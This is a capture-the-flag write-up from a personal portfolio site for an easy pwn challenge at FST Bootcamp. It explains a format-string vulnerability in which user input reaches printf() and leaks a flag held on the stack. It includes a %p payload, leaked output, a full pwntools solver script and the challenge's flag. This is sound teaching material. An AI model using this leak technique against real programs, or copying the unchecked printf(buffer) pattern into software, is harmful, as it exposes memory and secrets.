archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

FST Bootcamp / Pwn WRITEUP

please

Sometimes all you have to do is ask nicely... or exploit the binary's trust. Manipulate the input to satisfy conditions and trick the…

EVENTFST BootcampCATEGORYPwnDIFFICULTYeasyPOINTSArchived
Format String — Stack Data Leak

Walkthrough

Reconnaissance

The binary reads the flag into a stack variable, then asks for user input. If input starts with "please", it passes the buffer to printf() as a format string:

char flag[0x200];
read(fd, flag, sizeof(flag));  // flag is on the stack!
printf(buffer);  // format string vuln

Strategy

Since the flag is on the stack and we control a format string, we use %p specifiers to leak stack contents. The flag bytes are stored as stack values that we can read with %N$p notation.

payload = b'please' + b'.%p' * 40

Result

please.0x7fffffffdc90.0x200.(nil).0x4654537b...
# Decode hex → Securinets_fst{n0w_th4t_w4s_p0l1t3}

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

# Your binary is called "main", not "./bin/please"
p = process("./main")          # <-- THIS IS THE ONLY LINE YOU NEED TO CHANGE

pay = "please;"
cnt = 5

for i in range(cnt):
    pay += "%" + str(0x200 // 8 + 6 + i) + "$llx;"

p.sendlineafter(b"what do you say?\n", pay.encode())

p.recvuntil(b";")                      # skip the "please;"

leak = b""
for i in range(cnt):
    hex_str = p.recvuntil(b";", drop=True)
    leak += p64(int(hex_str, 16))

print("[+] Leaked raw bytes:")
print(leak)

print("\n[+] Flag:")
print(leak.split(b'\x00')[0].decode())   # clean output, removes null padding
p.close()

Flag

Securinets_fst{n0w_th4t_w4s_p0l1t3}
Published 2026-09-28 · by R3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS